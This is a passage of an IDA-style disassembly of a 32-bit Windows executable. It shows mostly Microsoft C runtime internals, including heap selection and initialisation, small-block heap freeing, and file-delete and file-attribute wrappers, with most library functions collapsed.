; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS	KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION _sprintf.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: WinMain(x,x,x,x)+45p
					; sub_401ACD+31A3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A960, eax
		retn
sub_41B8D8	endp

; [0000001E BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+"	TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __snprintf. PRESS	KEYPAD "+" TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION _fgets. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+"	TO EXPAND]
; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl.	PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtoul.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5981p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_427080	; DeleteFileA
		test	eax, eax
		jnz	short loc_41BDF2
		call	ds:dword_42708C	; RtlGetLastWin32Error
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	__dosmaperr
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp

; [00000032 BYTES: COLLAPSED FUNCTION _fprintf.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _strrchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000038 BYTES: COLLAPSED FUNCTION _strncmp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+"	TO EXPAND]
; ---------------------------------------------------------------------------
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+"	TO EXPAND]
; [0000009C BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+"	TO EXPAND]
; [00000050 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD	"+" TO EXPAND]
; [00000123 BYTES: COLLAPSED FUNCTION _strncat.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+"	TO EXPAND]
; [00000034 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+"	TO EXPAND]
; [000000CF BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __fpmath.	PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND]
; [000000CF BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *).	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; [00000007 BYTES: COLLAPSED FUNCTION sub_41C8C2. PRESS	KEYPAD "+" TO EXPAND]
; [00000007 BYTES: COLLAPSED FUNCTION sub_41C8C9. PRESS	KEYPAD "+" TO EXPAND]
; [0000004F BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION ___CxxFrameHandler. PRESS	KEYPAD "+" TO EXPAND]
; [00000054 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo	const *,void *,int,ulong). PRESS KEYPAD	"+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void	*,void *). PRESS KEYPAD	"+" TO EXPAND]
; [000000B4 BYTES: COLLAPSED FUNCTION _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)+26p
					; sub_4264E2+10p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS	KEYPAD "+" TO EXPAND]
; [0000006D BYTES: COLLAPSED FUNCTION __onexit.	PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+"	TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
; [000000DC BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000008C BYTES: COLLAPSED FUNCTION unknown_libname_4. PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul.	PRESS KEYPAD "+" TO EXPAND]
; [0000010A BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416909+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_427098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		call	__dosmaperr
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB958, 0Dh
		mov	dword_4DB95C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv.	PRESS KEYPAD "+" TO EXPAND]
; [0000009E BYTES: COLLAPSED FUNCTION __strupr.	PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION _isdigit.	PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION _isspace.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+"	TO EXPAND]
; [000000CB BYTES: COLLAPSED FUNCTION _tolower.	PRESS KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+"	TO EXPAND]
; [000000FF BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND]
; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	__XcptFilter
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	__exit
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD	"+" TO EXPAND]
		pop	ecx
		pop	ecx
		retn
; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit.	PRESS KEYPAD "+" TO EXPAND]
; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+"	TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+"	TO EXPAND]
; [0000005C BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: ___endstdiop
		push	1
		call	_flsall
		pop	ecx
		retn
sub_41DBE7	endp

; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: sub_41DC8A+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	ds:dword_42709C	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC8A	proc near		; CODE XREF: sub_41DDD2+20p

Str		= byte ptr -122Ch
SubStr		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	__alloca_probe
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	ds:dword_4270C8	; GetVersionExA
		test	eax, eax
		jz	short loc_41DCCD
		cmp	[ebp+var_88], 2
		jnz	short loc_41DCCD
		cmp	[ebp+var_94], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: sub_41DC8A+27j
					; sub_41DC8A+30j ...
		lea	eax, [ebp+Str]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	ds:dword_4271B4	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp+Str]
		cmp	[ebp+Str], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: sub_41DC8A+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: sub_41DC8A+76j
					; sub_41DC8A+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: sub_41DC8A+70j
		lea	eax, [ebp+Str]
		push	16h		; MaxCount
		push	eax		; Str2
		push	offset Str1	; "__GLOBAL_HEAP_SELECTED"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp+Str]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: sub_41DC8A+9Dj
		lea	eax, [ebp+SubStr]
		push	104h
		push	eax
		push	ebx
		call	ds:dword_427070	; GetModuleFileNameA
		cmp	[ebp+SubStr], bl
		lea	ecx, [ebp+SubStr]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: sub_41DC8A+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: sub_41DC8A+CCj
					; sub_41DC8A+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: sub_41DC8A+C6j
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: sub_41DC8A+A5j
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch		; Val
		push	eax		; Str
		call	_strchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: sub_41DC8A+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: sub_41DC8A+10Cj
		inc	ecx


loc_41DD9D:				; CODE XREF: sub_41DC8A+110j
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: sub_41DC8A+107j
		push	0Ah		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtol
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: sub_41DC8A+5Cj
					; sub_41DC8A+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41DC5D
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: sub_41DC8A+3Ej
					; sub_41DC8A+126j ...
		pop	ebx
		leave
		retn
sub_41DC8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DDD2	proc near		; CODE XREF: start+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_4271BC	; HeapCreate
		test	eax, eax
		mov	dword_4DCFE4, eax
		jz	short loc_41DE28
		call	sub_41DC8A
		cmp	eax, 3
		mov	dword_4DCFE8, eax
		jnz	short loc_41DE0E
		push	3F8h
		call	___sbh_heap_init
		pop	ecx
		jmp	short loc_41DE18
; ---------------------------------------------------------------------------


loc_41DE0E:				; CODE XREF: sub_41DDD2+2Dj
		cmp	eax, 2
		jnz	short loc_41DE2B
		call	sub_41E976


loc_41DE18:				; CODE XREF: sub_41DDD2+3Aj
		test	eax, eax
		jnz	short loc_41DE2B
		push	dword_4DCFE4
		call	ds:dword_4271B8	; HeapDestroy


loc_41DE28:				; CODE XREF: sub_41DDD2+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DE2B:				; CODE XREF: sub_41DDD2+3Fj
					; sub_41DDD2+48j
		push	1
		pop	eax
		retn
sub_41DDD2	endp

; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, Dst
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DCFCC
		mov	esi, ds:dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_4DCFCC
		mov	eax, Dst
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, Dst
		mov	ecx, dword_4DCFCC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, Dst
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, Dst
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, Dst


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, Dst
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DCFE4
		call	ds:dword_427140	; RtlFreeHeap
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, Dst
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx		; Size
		lea	ecx, [eax+14h]
		push	ecx		; Src
		push	eax		; Dst
		call	_memcpy_0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DCFD8
		cmp	eax, Dst
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DCFDC
		mov	dword_4DCFD0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DCFCC, edi
		mov	Dst, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp

; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS	KEYPAD "+" TO EXPAND]
; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+"	TO EXPAND]
; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41DDD2+41p
					; sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A9C0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A9B0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DCFE4
		call	ds:dword_427144	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, ds:dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A9B0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A9B0, 0
		jnz	short loc_41E9F6
		mov	off_43A9B0, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A9B4, 0
		jnz	short loc_41EA1B
		mov	off_43A9B4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A9B4
		mov	[esi+4], eax
		mov	off_43A9B4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
